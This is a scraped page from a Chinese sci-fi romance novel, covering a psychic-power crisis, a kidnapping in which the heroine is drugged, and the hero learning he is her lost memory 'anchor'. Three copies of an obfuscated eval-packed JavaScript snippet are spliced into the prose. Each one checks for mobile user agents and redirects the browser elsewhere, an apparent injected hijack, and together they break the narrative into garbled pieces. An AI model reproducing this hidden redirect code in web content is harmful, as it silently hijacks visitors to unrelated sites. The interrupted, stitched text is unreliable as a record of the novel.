;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300150|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 元墨枢用袖子随手抹了两把鼻子下面流出的血,一边咬牙切齿地骂李卓,一边向精神风暴的中心跑去。 途中撞到了乔砂,她一把拉住元墨枢的手:“墨枢,我在找你,人在四楼,靠你了。我去开灯。” 元墨枢习惯性地回了句:“好的。”朝四楼跑去。 离那股精神风暴的中心越近,精神力的压迫感就越强。 更可怕的是,这股精神力的攻击性特别强,它侵入到元墨枢的脑海中,就像锋利的刀子在里面搅动着。 元墨枢打开了衣服上的防护罩才走到四楼。 她一路向前跑去,只觉得越跑越快,头上疼痛逐渐减轻,她暗自嘀咕,这种情况之前也发生过好几次,没有出现过这种精神力逐渐适应的症状呀。 直到到达目的地,她才发现,原来不是她逐渐适应。 兰司珞靠坐在墙上,双眼紧闭,血顺着耳垂淌到了肩上。 他把元墨洇紧紧抱在怀里。 元墨枢曾经也体会过这样的感觉。 那是在元墨洇最初失控的时候,她被父母硬生生拽到元墨洇面前,直接推到了她身边。 她只觉得自己就像是一艘竹筏被卷进了海上风暴的中心,顷刻间便被摧毁成一片片木屑。 她曾觉得没有人会想要体会那种精神力被一瞬间切割成碎片的感觉。 而且她查看过兰司珞的资料,他精神力和她一样,都是A级,他们的观感应该是类似的。 索性那一次结束后,元家人测出了适合她的安全距离,刚好十步,就是现在她离元墨洇的距离。 这个距离可以最大程度保证元墨枢的安全,同时开启手上的精神力稳定仪器让元墨洇慢慢安定下来。 他们有最科学的计算,最精妙的仪器,最好的资源。 兰司珞什么都没有。 他只是在精神风暴炸开那一瞬间,拉住了元墨洇推开他的手,反将对方揉进自己的怀里。 他只是任凭脑海中如刀割般的痛楚,顺着本能把脸颊贴在元墨洇的脸颊边。 他违背了教材的指示,拒绝了元墨洇现在抵在他胸口让他离开的双手。 他的大脑被绞成一团浆糊,他的意识被割碎模糊不清,他的身体颤抖到站立不稳。 他自己都没有意识到自己在说话。 一字一句,从他嘴里说出来,重若千钧,却又清楚连贯到像是说过很多遍似的。 “求求你,不要再放开我,不要再离开我。” 研究所的电源被打开,灯光一瞬间铺满整栋大楼。 精神风暴也逐渐平息下来,那些恐惧、哀嚎、痛苦的呻吟也随之消失不见了。 唯有兰司珞眼前漆黑,拥抱向一片宁静的港湾。 元墨枢默默回头,沿着来时的路回到了自己的实验室。 得益于研究所修建的时候所用的能隔绝精神力的新型材料,加之元墨洇所在那层楼刚好没人,大部分人只是感觉像是被谁敲了一闷棍似的,脑袋“嗡嗡”作响。 她一路上顺手扶了好几个人回到自己的座位上坐下休息,哼着歌来到冯钊身边。 冯钊已经摘下头上的头盔,她也没打听元墨枢去了哪里,只是问道:“你怎么这么开心?” 元墨枢伸了个懒腰,像是放下一块巨石:“我的任务终于要结束啦。” 她笑眯眯地看向冯钊:“明天肯定放假,请你吃火锅呀。” 31. 他的爱因月光而与众不同 “人类进化到现在这个时代,出现了一个新的问题,那就是大脑的控制力压不住精神力的进化速度。 “之前的1000年间,元家做了统计,精神力达到A级以上,就会出现失控的症状,S级以上从出生开始就会伴随有精神力外泄。因为没有医疗手段,只能靠自己想办法控制。 “SS级的具体情况我不清楚,不过想来你刚才已经见识过冰山一角了。 “这就是你想知道的东西。” 兰司珞看着光屏上元墨枢传给他的资料,目光像是要把那些字一个个吃进胃里。 他现在正待在研究所的一间治疗室里,元墨枢坐在他对面,翘着二郎腿,双手抱胸:“别看了,你看不懂的。” 兰司珞不甘心地放下那些资料:“她人呢?” “回去了,在把你送来这里之后。”元墨枢指了指桌上一个小型医疗器械,“青囊诊所才有全套的辅助治疗器械,我手上也只有这个简化版。” 兰司珞小声嘟囔:“怎么不把我也带回去。” 元墨枢:“……” “好吧。”兰司珞换了个姿势,正襟危坐,神情也少见的严肃起来,“你应该知道吧,她消失的这十年,到底发生了什么事?” 他又不是真的傻子,就算看不懂资料,他也知道元墨洇上学的时候是可以完全控制住自己的精神力的,没道理现在反而不会了。 元墨枢挑眉:“你终于问了,我还以为你不会问我这个问题呢。” 兰司珞轻声回答:“我想问的,我只是……” 只是想等所有任务都结束,等关系再进一步,再去亲自问那个人。 可他现在等不下去了。 元墨枢对他那些百转千回的少男心思不感兴趣,她双手支在桌面上看向兰司珞:“在此之前,你先回答我,你为什么喜欢我姐姐?” 兰司珞:“啊?” 元墨枢:“嗯?” 兰司珞一脸莫名其妙:“喜欢墨洇还要理由?那可是元墨洇诶,你知道她是谁吗……哦,她是你姐姐。你知道她有多令人着迷吗?她每次一出现,你没见到那个场面,所有人,不管在干什么,都不约而同地偷看她。她要是跟谁说句话,那谁能到处吹嘘一周,他凭什么!论坛上好多关于她的帖子,现在都找不着了,问怎么进她的研究所,问她会不会参加某活动,问怎么追她……问什么的都有。我上学的时候就在想,要是我可以嫁给她,那我多风光啊。你居然问我为什么喜欢她,傻子才不喜欢她!” 元墨枢迷惑了:“就因为这些吗?所有人都会因为姐姐的天赋和地位爱上她,我还以为你跟他们不一样呢?” “你想听什么回答?‘无论她是谁,我都爱她的美好心灵。’然后讲一个类似于暴雨倾盆的夜里把流浪的我捡回家的剧情。”兰司珞笑了,“我跟他们当然不一样。你弄错了一件事,我跟别人是否一样,并不是取决于我,而是取决于墨洇。 “她对待我跟对待别人不一样,我从此就不一样了。” 兰司珞从有记忆起,便是独自一个行走在茫茫大地上。 他总认为自己是独特的,但花草树木都待他一视同仁。 而那高高在上的月亮,却愿意单独分一束月光给他。 兰司珞陷入回忆:“她给了我一把锁。” 元墨枢无法理解:“说不定换成别人,她也会给一把锁。” 兰司珞理直气壮地反驳她:“那别人怎么没有我的运气能坐在她身边呢?归根到底还是我被选上了,不管是她还是命运。” 元墨枢:“……” 她好像懂了兰司珞的脑回路,又好像没懂。这么复杂的东西,果然还是得她那个比所有人都聪明的姐姐才能解得明白。 元墨枢若有所思:“是这个意思吧:如果你还需要用精美的面容、精妙的言语、精彩的性格来取悦他人,说明你还不够强。你若是够强,你就算什么也不会,也会有人争先恐后地爱上你。到了这个时候,谁最爱你就变成你的选择了。” 兰司珞赞叹道:“这句话说得真好,不像你平时的风格。” “因为这是元九针说的。”元墨枢划开自己的光屏,兰司珞的光脑上传来“叮叮咚咚”的提示音,“你要的东西,发你了。” 兰司珞接收了那份资料,点开就是病例记录。 他的眉头越皱越深:“精神力锚点摧毁、精神力失控、精神世界损坏、情感因子活性降低……这些是……” “如你所见,这些就是我姐姐这十年里一直在治疗的病。” 兰司珞攥紧手指,觉得身上血气倒涌,让他完全无法集中注意力思考。 几分钟后,他强迫自己冷静下来,终于能重新看清面前病例报告上元墨洇的脸。 但他的声音还是止不住地颤抖:“一直……都没有……没有治好吗?那以后……以后……” 他的声音哽在喉咙口,他怕问出最后半句话,元墨洇就真的治不好了。 “因为缺了最关键的东西。” 兰司珞霍然起身:“是什么外星生物材料吗?我现在就去。” 在这种时候,兰司珞居然奇异地想到了自己现在正在执行军团的任务,违规离开到被何晞发现,他最多在被逮捕入狱前争取到3天的自由行动时间。 等到他被关进衡镜司星域的星球牢狱,元墨洇说不定会亲自前来看他,这时候他笑嘻嘻地拿出一个奇形怪状的外星生物的尸体递过去,元墨洇当场…… 兰司珞把“感动得痛哭流涕”的选项删掉,改为了“扇了自己一巴掌”。 他居然觉得还不错。 元墨枢无语地抬脚隔着桌子拦住了他:“你想什么呢?我姐姐缺的是锚点!锚点!你没看过她的研究成果吗?情感因子控制精神力的办法,就是建立一个精神力锚点。现在锚点被摧毁了,她需要的是重新激活情感因子,然后建立一个新的。” “做不到会怎样?” “你不是见过了吗?只要她稍微控制不住,就会像下午研究所发生的那样。多来几次,你这辈子就别想再见到她了。” “那要怎么才能建立新的锚点?” “要找一个人。” “谁?” “锚点的建立基于情感,要找她以前用来建立锚点的那个人。” “还没找到吗?” “是啊,元家花了十年时间都没找到那个人,问我姐姐,她只说忘了。” 兰司珞第二次从椅子上弹起:“告诉我线索,我去抓人!” 元墨枢眼神古怪:“其实那人已经自己跑来了汤燧星,远在天边,近在眼前……” “就在研究所里吗?”兰司珞激动不已,“谁?我见过吗?有照片没有?” 元墨枢不得不又把脚抬起来拦他:“你还没听出来吗?我问你,你怎么知道我姐姐在汤燧星的?你想想,一个连照片都没有的个人信息界面,怎么可能显示所在位置这么重要的信息呢!” “啊?” 元墨枢忍无可忍,用抬起的脚狠踹兰司珞的椅子腿:“那个人是你啊,笨蛋!” 兰司珞楞在原地。 他眼睛发直,神色呆滞,就这么缓缓、缓缓地坐了下去。 椅子被元墨枢踢走了,他以一种很慢的速度坐在了地上。 元墨枢探过身来,扒在桌子边缘低头望他:“喂,姐夫,你还好吗?” “姐夫”两个字成功把兰司珞激活,他“嗷”地一声从地上跳起,元墨枢“嗖”地把头和手缩回去,兰司珞成功撞在了桌角上。 他一手捂着额头,一手用力掰着桌角:“你是说……是说……她把我忘了?” 元墨枢:“?” 元墨枢:“你就关心这个?给你个机会重新问。” 兰司珞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304584|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深吸一口气,转身把椅子找了回来,重新坐下:“我不信她会把我全部忘了,她一定还记得什么。” 兰司珞确实发现了元墨洇再见面的时候,对他的态度有些不对劲。 他最初怀疑是失忆,小说里不都这么写,男女主将要互通心意的前夕,突然实验失误,或者飞船失事,一别又是多年,再见面可能孩子都有了。 但是对他完全陌生的元墨洇不该是花园里再见时的那样,她应该冷漠而不搭理他,别说喊名字,最初相识的时候,元墨洇甚至吝惜于多看他一眼。 可如果没有失忆,元墨洇也不该对他这么疏离。 对于其他人来说,元墨洇能对其有问必答,已经是很亲密的关系了。 可是元墨洇吃过兰司珞做的饭,摸过兰司珞的头发,答应过兰司珞的表白。 她应该朝兰司珞伸出手,而不是转身让他跟上。 元墨枢的声音继续在兰司珞的耳畔响起:“姐姐的记忆被她自己清洗了一遍,很多事她都不记得了。我不知道她怎么做到的,但是,她还记得你是她的锚点。所以我才问你,你为什么喜欢她。” 兰司珞恍然。 原来不该忘的被忘记了,原来应该被记得的仍然被记得。 原来她还记得爱过兰司珞,只是忘记了是怎么爱上的。 兰司珞把脸埋进手心:“她为什么不来找我?” 元墨枢却没有第一时间回答,她低头看了看自己的手指,兰司珞跟着看去,上面有熟悉的操纵机甲留下的薄茧。 他自己也有,一模一样的位置,且比元墨枢的厚得多。 “你以为是什么好事吗?”元墨枢淡淡地说,“如果这需要你放弃学业,放弃理想呢?” 兰司珞:“我不在乎。” 元墨枢嗤笑一声:“你的资料很容易就能查到,兰少将。你出生于珍辰之家,父母多半是为了减少支付生育税,所以生了你,但又不想养你。于是他们签订了自愿放弃抚养条款后与你断绝关系,你就在珍辰之家长大。 “你从小就在机甲上展现出卓越的天赋,一路保送到帝都星高级学院机甲系,入学第一年就被第三军团选中成为预备役,还没毕业就完成了足够数量的任务,成为第三军团正式成员。 “你在第三军团待了将近十年,创下多项记录,在年轻一代的将领中排行第一。‘军团最快的剑’、‘星族联盟最年轻的少将’、‘所有机甲爱好者的偶像’……这么多称号。 “这几乎是一个平民不借用外力能触摸到最高的台阶了,你真的不在乎吗?” 兰司珞沉默了。 他袖口因为刚才激烈的动作而滑落了一截,露出手腕上一道陈年旧伤。 那道伤曾经深可见骨,而他只是随手便用袖子将其重新遮住。 “我承认,我很喜欢我的机甲,也很珍惜这些荣誉。 “你说得对,我很在乎它们。 “但是,我更在乎的是它们能带给我的,让墨洇将目光放在我身上的机会。 “如果没有墨洇,我要它们有什么用?” “真好啊。”元墨枢羡慕又遗憾地说,“可惜了,我姐姐不愿意。她不愿意你为了她,放弃自身的前途。” 兰司珞呼吸急促:“你……你是说……” 元墨枢白了他一眼:“她在等你啊,笨蛋!” 等什么呢? 兰司珞在元墨洇面前说过自己的两个愿望。 他曾为了第二个愿望,放弃过第一个愿望。 但当时的他没有想到,现在的他已经实现了第一个愿望,而第二个愿望也近在咫尺。 就好像做梦一样。 兰司珞的目光穿过重重雨幕,望向那个熟悉的方向。 他们都说,如果能得到元墨洇的青睐,你的那些理想,她轻轻松松就能为你实现。 原来竟是真的。 32. 然而月光本就独一无二 兰司珞心乱如麻,手指无意识划着光屏上的资料。 病例记录后面还有别的文件,他漫不经心地看着,突然发现了一个熟悉的名字。 “……犯罪分子乔砂自述……” “乔砂?”兰司珞将那份划走的记录又划回来,“她不是那个……墨洇的那个学生?” “你这么快就看到那里了呀?” 兰司珞:“……” 这不是前面的都看不懂吗。 他认真地看了一会乔砂那份文件:“认罪态度良好,犯罪行为被认定为胁迫作案,对罪行供认不讳,情节较轻,处以衡镜司星域关押5年的惩罚……她坐过牢啊?为什么她这种隐私会出现在这里?她和墨洇的病……有什么关系吗?” “当然有关系了,准确来说,姐姐的病都是她害的。” 兰司珞眼前浮现出乔砂的形象。 不同于沈钧的热情,她虽然也温和有礼,但骨子里有种比元墨洇更冻人的冷意。 兰司珞往来青囊诊所多次,沈钧总是找机会偷偷打探他和元墨洇的八卦,而乔砂却会下意识避开。 他这才发现自己对沈钧有一定了解,对乔砂的真实性格却很陌生。 他开始读那篇自述。 “2388年10月,我被乔家家主,我的堂伯乔斌,秘密送往了一个地方。他在这里关了很多人,大部分我都认识,算是乔家这一代比较优秀的人。还有一小部分没见过的,我对他们不感兴趣,因此没有特意去结识。” 乔砂在那里待了三天,乔斌送来了最后一批人,终于对他们说出了自己的要求。 他说他有一个伟大的计划,一旦成功,即可改变乔家的历史。要知道,乔家曾经也是普罗米修斯星域的高等家族之一,因为曾经和元家的一些小摩擦,现在沦为了中等家族,真是可气可恨。 而今,就是乔家重回高等家族序列的最好时机。 乔砂对乔斌的豪言壮语没有丝毫兴趣,她对人生有自己的安排,当时的她,只想快点完成任务,然后去做自己喜欢的研究。 乔斌给他们每人发了一份元墨洇当时所有的研究成果,并让他们基于这个研究成果,做一个可以通过操纵精神力影响意识的装置出来。 在场所有人都对元墨洇不陌生,并且没有人没读过她的研究。 他们都以为乔斌在跟风,也是,如果元墨洇注定统治普罗米修斯星域,那么乔家趁她羽翼未丰之时想办法抱她大腿,似乎确实可以达到他的目的。 乔砂不这样想,她问到:“这个装置,你想要对付谁?” 她才不像这些人这么天真,乔家日渐平庸,面前这些嫡系并不知道她这种旁支的处境。 就如同现在,那些人投来疑惑的目光,他们不知道她是谁,自然也不知道,乔家这20年里最优秀的两项研究成果,都是出自于她之手,只是署上了乔斌的大名。 乔斌对她露出一个熟悉的假笑:“是乔砂啊,你不要胡思乱想,这只是乔家最新的研究方向而已。你的水平经过这几年的历练也逐渐合格了,等做完这个项目,我可以做主在乔家给你独立做项目的机会。” 乔砂没有回答,也没管乔斌默认她同意了自己的条件。 她浑身的血液在沸腾。 关于能让乔斌避而不谈,又对她开出这种他先前绝对不会同意的条件的人是谁,她心中有了一个猜测。 乔斌要对付元墨洇。 乔砂毫不避讳地将自己当时的想法写在了自述里。 “我也是生下来就天赋异禀,乔家人都是蠢货,没有人配做我的对手。我当时没有别的想法,只是一想到能和元墨洇一较高下,我在心里答应了这件事。” 从小阳光向上的五好青年兰司珞发出疑问:“她为什么会这样想?” 元墨枢摊手:“谁知道呢?乔家人脑子都不太正常,这都多少年的事情了,还这么念念不忘,天天想着跟我们元家作对。” 兰司珞:“乔家和元家还有故事吗?” 元墨枢一巴掌拍在桌上:“我们还好心帮他们在历史书上遮掩了呢!元九针有个没用的前未婚夫,书上没写他的名字,不就是他们乔家的,一个没品的烂人。后来他们自己没有本事,不想着怎么提升自己的水平,天天幻想我们元家打压他们,一群吃饱了撑的,居然还想动我姐姐!” 兰司珞一惊:“所以他们做这个装置,真的是为了……” 元墨枢点头:“对呀,就在2389年12月1日,这日子我都记得,就在奥运会开始的前面一天,他们劫持了我姐姐乘坐的飞船——你怎么了?” 兰司珞将捏碎的玻璃杯碎片洒在桌面上,看着手心沁出的鲜血一颗颗混进玻璃渣里,像包着苦涩毒药的琉璃糖纸:“没什么。” 2389年12月1日,兰司珞给元墨洇发了足足50条消息,没有收到任何回复。 再然后,“元墨洇”三个字就消失了。 他至今还记得他发的最后一条消息。 兰司珞:[没事,我们再隔5年一起看也是一样的。] 元墨洇打开光脑,兰司珞的消息密密麻麻铺满了整个光屏。 她看了看飞船的窗外,离普罗米修斯星域的边境还有一段距离。为了避免向元家解释她出门的意图,她特地选择了普通的民用航班,速度比她的私人飞船慢了很多。 她在聊天框里打字,刚打下一个“还”字,飞船遭到了一股猛烈的撞击,被迫停了下来,她也不得不放弃打字,将聊天界面暂时关闭。 舱门打开,一个陌生人走了进来,对着元墨洇的方向夸张地行了一礼:“我代表我的主人,邀请您到我们的飞船上走一趟。我知道您很厉害,但请您务必前来,否则这艘飞船上所有的人都会‘砰——’地炸掉。” 飞船上响起惊惶的议论声,人们朝元墨洇的方向看来,试图得知对方在威胁谁。 小孩子的哭声被家长蒙在嘴里,也有人站起来发出声音。 “外面好多战舰。” “小伙子,现在是法治社会,不要做错事情。” “表演型人格?好浮夸的演技。” “你谁啊?黑渊星域的人不能在其他星域犯罪你知道吗?” “炸飞船,你疯了吗?” “外星间谍?” “他们针对的肯定是星族联盟厉害的大人物,大家别怕,我们团结起来,保护好对方,绝不让外星间谍的目标得逞。” 飞船左侧传来一股力道,原本还在义愤填膺说着话的人都看向左侧的窗户。 包围住他们的战舰群竟然又拦截了一艘飞船。 前来邀请之人微微一笑:“您的家族最快还有5分钟才能赶到,请您尽快做出抉择。” 元墨洇的耳机始终连接着元家内线,话筒另一端的人换成了她的母亲。 “不要答应他,你身上的防护罩能保下你的命。墨洇,你比两艘飞船的平民加起来都要重要,绝对不能——” 元墨洇扯下耳机。 登录星网的后台管理系统并不难,她的后台充斥着大量与她相关的信息,这些信息都会经过她的审查,由她决定是保留还是删除。 所有权限的最上方有个一键删除按钮,按下去的那一刻,她发现自己的位置能看见三颗属于普罗米修斯星域的人造太阳。 通讯软件账号、论坛上与她有关的讨论帖、关于她的新闻报道,只需要这样轻轻点击一下就能消失无踪。 元墨洇收回视线,不再看向太阳。 同样都是性命,她向来不觉得自己的命比别人珍贵在哪里。 所以她站起身:“我跟你们走。” 陌生的战舰上,好几个大型仪器同时对准了元墨洇。 安装有防护罩的外套被门口的“侍者”礼貌地接下,精神力被仪器压制,光脑信号被彻底切断。 S级体质在没有机甲装备的情况下,完全不是激光炮的对手。 元墨洇被“请”到了一间密室,门被关上后,周围一片漆黑,脚下引力消失,像是被流放到了宇宙荒漠之地。 “我见过这个手段。”兰司珞嘴唇颤抖,声音像是一块在刚从冰箱里拿出来的冻肉,“前年黑渊星域叛乱,我抓住了他们的首领,亲自押送到衡镜司星域审讯星04号。他们给那个首领注射了精神类药物,关在了一个没有引力和光线的地方。第三天,他精神错乱,把所有计划都招了。” 他手指划动了两下,终于将底部的文字划到顶端,取而代之的是一长串看不懂的药剂的名称,乔砂在自述里详细写了每天用药的时间和分量,以及用药后元墨洇的反应。 兰司珞第一次痛恨起自己对医疗系课程的敷衍。 元墨枢轻声问他:“要我给你解释一下吗?第一天注射的是ERT23,可以短时间内模糊病人对于精神力的感知能力,是精神类药剂最好用的载体之一,她的发现者是——” “是我。” 元墨洇的手被辅助注射装置钳住,冰凉的液体顺着针头流入她的体内。 注射完成后,隐藏在这间密闭审讯室单边玻璃外的人却并不满意她的回答。 乔斌一拳打在传声装置上,隔绝了元墨洇的声音:“乔砂呢?叫她过来。” 乔砂被粗鲁地推搡到乔斌面前。 乔斌一把将她揪起:“我刚才问了她药剂的发现者,她为什么能清晰快速地回答出来?你不是说这个药剂可以模糊认知吗?” 乔砂不理会肩上的疼痛,皱眉看向他的药剂方案——在今天之前,这还是乔砂自己的方案。 “你改了我的方案?”乔砂抚摸着上面的数字,“那可是元墨洇,她从小就能抗住SS级精神力带来的副作用,你为什么要减去1/3的量?看她的表现,你应该在原本的基础上再追加至少1/2,也就是一共追加5/6,你追加了吗?” 乔斌的脸色告诉了她答案。 乔砂挥开他的手,毫不在意他杀人般的眼光,手指伸向他的光屏:“来不及了,她现在肯定猜到你们要做什么了,需要马上把方案推进到第6天,我看看,现在应该提前注射……” 指挥室里还有其他人,异样的眼光在乔砂和乔斌之间来回打转,乔斌只觉得不停有嘲讽般的窃窃私语钻进他的耳朵,他控制不住地怒吼一声,推开乔砂:“你别在我这里演戏,后面的事我会处理。” 乔砂露出看白痴的眼神,又被人抓了出去。 乔斌简单粗暴地给计划上所有药剂的剂量都翻了一倍,然后打开注射机器,一股脑全塞了进去。 他眼底涌动着疯狂的红血丝:“给她都注射进去,我就不信我制服不了她。” “……第七天,注射的药剂是……” “好了!”兰司珞把指甲深深嵌进手心的伤口,“求求你别说了。” 元墨枢好奇地问:“你应该受过很多次伤吧,兰少将?” “那不一样。” “好吧。”元墨枢贴心地伸手,帮他把资料往下划动,“总之到第七天的时候,乔斌终于发现了不对的地方。” 按照计划,第七天,用药量达标之后,乔斌心心念念的意识操纵装置就要派上用场。 这个装置的理论由乔砂提出,她深入钻研了元墨洇的研究成果里关于锚点的那部分知识,提出一个伪造锚点取代原锚点的构想,并带领团队做出了相应的药剂和装置。 装置启动的第一步就遇到了问题。 “什么意思?什么叫找不到锚点?”有了之前的经历,乔斌提前清空了实验室大部分的人,抓来了乔砂。听到操控装置的人员的反馈,他震惊地一巴掌拍在桌上。 指挥室里没有人回答他。 他又转向乔砂:“你说。” 乔砂倒是很乐于为他解答:“我早说过,你第一步就暴露了自己的想法。怎么?你以为元墨洇花费6天的时间都不能想出对付你‘天才’般构思的方法吗?” 她特意咬住了“天才”两字,满意地看到乔斌的脸色被阴云笼罩。 “她做了什么?”乔斌从牙缝里挤出字来。 乔砂愉快地说:“我没猜错的话,她第一天就把自己的锚点给摧毁了。理论上来说这个操作是可行的,不过实践的话,得拔除相关的所有记忆才行吧。元墨洇的话,倒是可以试试直接暴力摧毁。哦,你见过龙卷风吗?如果把记忆比作一座座高楼,一场简单粗暴的精神力龙卷风刮过,就能收获一片废墟,很神奇吧?” “废墟?”兰司珞疑惑,“是失忆的意思吗?” 元墨枢回答道:“不太一样,你可以理解为,那些记忆都还在,只是从有序清晰的状态变成无序混乱的状态。” “解、决、办、法!”乔斌听不下去乔砂的话,伸手扯住了她的头发,让她仰面露出一截脆弱的脖颈,上面的经脉剧烈地跳动着。 乔砂艰难开口:“你、咳咳、想办法让她、咳、短时间、咳、信任你……” 乔斌稍稍松开手,让她能流畅地说话。 “……然后把你设置成新的锚点。” “这怎么可能?”乔斌手上用力,“给我想别的办法。” “咳咳咳、你、找找她、咳咳、资料、以前、咳咳、锚点、咳咳咳咳……” “哼。”乔斌将她推倒在地上,打开光脑开始发送消息。 十分钟后,陆陆续续收到了回复。 [找不到。] [星网上所有的相关资料都没了。] [***三个字显示禁止搜索。] [权限不足。] “这又是怎么回事?”乔斌抓住乔砂的后颈,将她拖到自己的光屏面前。 乔砂眯着眼仔细地看上面的字,看着看着,她竟然放声大笑起来。 “原来如此……” 瞥了眼身旁盛怒的乔斌,她一边笑一边说:“连我都低估她了,你居然还敢小瞧她。是什么时候呢?啊!是劫持那两架民用飞船的时候吧。对了,如果真是要杀她,从一开始就该杀了她,何必费力不讨好地用几个平民的命威胁她。她从那时起就有了相关的猜测吧,真厉害啊。可惜,太可惜了,要是第一天是我来主导那个方案的话,我可以提前……” “够了!”乔斌打断她的话,“我不想知道你在废话什么,我问你,现在怎么办?” “等死呗。” “乔!砂!” “说了实话你又不开心。我就两个办法,找到她以前的锚点,一天之内让她爱上你,你试试看哪个容易一点。” 兰司珞使劲移动手指,面前的界面没有加载出新的文字:“结束了吗?” 元墨枢点点头:“嗯。” “后面呢?”兰司珞皱眉,“乔家就这样放过她了?她被扎了这么多药剂,人还好吗?谁来救她?” “不知道。”元墨枢也是一脸茫然地摊手,“后面的内容没有人记得,元家收到了我姐姐发送的信息,里面标记了这艘战舰停靠的位置,他们到那里的时候,战舰上的仪器都停止运转了,并且所有人都昏迷了。” 兰司珞敏锐地发现了关键:“墨洇怎么发的信息?” “不知道。”元墨枢维持着摊手的动作,“我姐姐是受害者,她不说,谁敢审问她呢?” 没有人敢审问元墨洇,因此就算她被乔家人囚禁在密室里,那些人也不敢动她分毫。 青囊诊所里,元墨洇已经结束了治疗,写完了自己的病例报告,顺手往前翻了几页。 十年前的报告里似乎还残留着那些药剂在身体里流动的滋味。 她在某些药剂上勾画了几笔,写下了这次失控中的新发现。 旁边有一行很早之前就写上去的备注。 【锚点重塑构思1-基于锚点摧毁过程的反摧毁设想。】 点击链接进去,里面是一份从未公之于众的资料。乔家罪证确凿,当时作为受害者的元墨洇以养病为由,只是陈述了一些无关痛痒的过程便足以给他们定罪。 这一份是她为了治病写下的。 事实上,确实没有人审问元墨洇,这倒不是如元墨枢想的那样,衡镜司星域和普罗米修斯星域到底不一样,不会给予元墨洇更多的优待。 只是元墨洇恢复意识之后,在衡镜司星域的执法人员找上门之前,她已经得知了乔家人的供词。 因此,她不愿意说出来的部分就不用说出来了。 与乔砂后来猜想的一样,元墨洇在乘坐的民用飞船被劫持的时候,已经想清楚了当下的情形。 仅仅为了折磨她的话,对方有更简单的办法,这样大费周章,一定是想要利用她做些什么。 更何况,对方既然敢绑架她,那便是做好了充足的准备,有了一定脱罪的把握。 按照最坏的估计,元墨洇第一时间就做好了应对最坏的情况的方案,毫不犹豫地删除了自己在星网上的所有信息。 这份方案的最后一步就是清除掉这几年建立起来的锚点。 她将在帝都星中级学院的生活梳理了一遍,站起身时,一切都做好了准备。 很多接近元墨洇的人,都提前做好了攻略,展现出自己完美无缺的一面。 但是,元墨洇生来就是完美的,对她而言,拥有一个完美的结婚对象,也只不过是在她的人生中填上聊胜于无的一笔。 或许等她年龄快到生育税的限制的时候会从那群人里面挑一个基因比较合适的,但是目前她并没有谈恋爱的打算。 兰司珞稍微特别一点,他搭讪的手段拙劣至极,一看就毫无准备。 元墨洇对这样碰运气的人更没兴趣,只是在拒绝之前,她对他设下了第一个考验。 S级的精神攻击,在元墨洇的掌控力最低的情况下,这是外泄的精神力所能达到的最大数值。 兰司珞的精神力像是豆腐一样脆弱而空白,他倒是顶住了这次攻击,看来他并没有尝试开发过自己的精神力,这反而救了他一次。 只是后遗症有点大,他选择性遗忘了这一段记忆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308772|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 不算什么令人印象深刻的初次接触,摧毁起来毫不费力。 家族那些人越来越过分了,不敢明目张胆对付元墨洇,却敢在她身边埋下钉子。 不巧的是,她身边只有一个平民出身的人,就是兰司珞。 他们似乎笃定了元墨洇跟他们的想法一样,不会对平民多看一眼。 一无所觉的兰司珞,还半夜在论坛偷偷发帖,向人询问怎么追她。 真是个傻子。 但是傻子也拥有自由的权利,这是星空下的铁律,是人类永恒的追求。 她出身于家族,她应该保护平民,这是她的责任。 元墨洇有无数种办法不动声色地帮兰司珞解决掉身边的恶意,但她选了最明目张胆那种。 …… 只是借兰司珞之手警告那些挑衅的目光而已,忘了吧。 兰司珞还在纠结于病例报告尴尬的那一页,但元墨洇对此毫不介意。 只是碰巧,元墨洇最近对治愈剂很感兴趣。 强效治愈剂的副作用一直为人诟病,她空闲时间也会抽出手来研究如何改良。 不过这样一来,原本通用的治愈剂就只能做成根据身体素质量身打造的特效治愈剂。 因此,元墨洇多看了几眼兰司珞的身体数据,很轻易就能得出结论,协调能力强,速度快,再加上一点战斗技巧,军团会有他的一席之地。 当然,这是一串很漂亮的数字,每一个指标的数值都恰到好处,和兰司珞的战斗习惯配合得天衣无缝。 如同元墨洇生来就该研究精神力一般,兰司珞生来就该成为顶尖的速度型机甲战士。 很适合她的研究。 更重要的是,元墨洇喜欢这一串数据。 在喜欢兰司珞这个人之前,她忽然觉得,如果将来要挑人结婚的话,这串数据似乎也不错。 …… 这串数据摧毁掉也无伤大雅,等元墨洇再一次拿过兰司珞的资料,依然会重新感兴趣。 将特效治愈剂给兰司珞那天天气不错。 兰司珞还是那样傻乎乎的,当了元墨洇几年的同桌,却在她面前一点长进都没有。 元墨洇忽然想逗逗他。 与她想的一样,兰司珞的反应有点意思。 …… 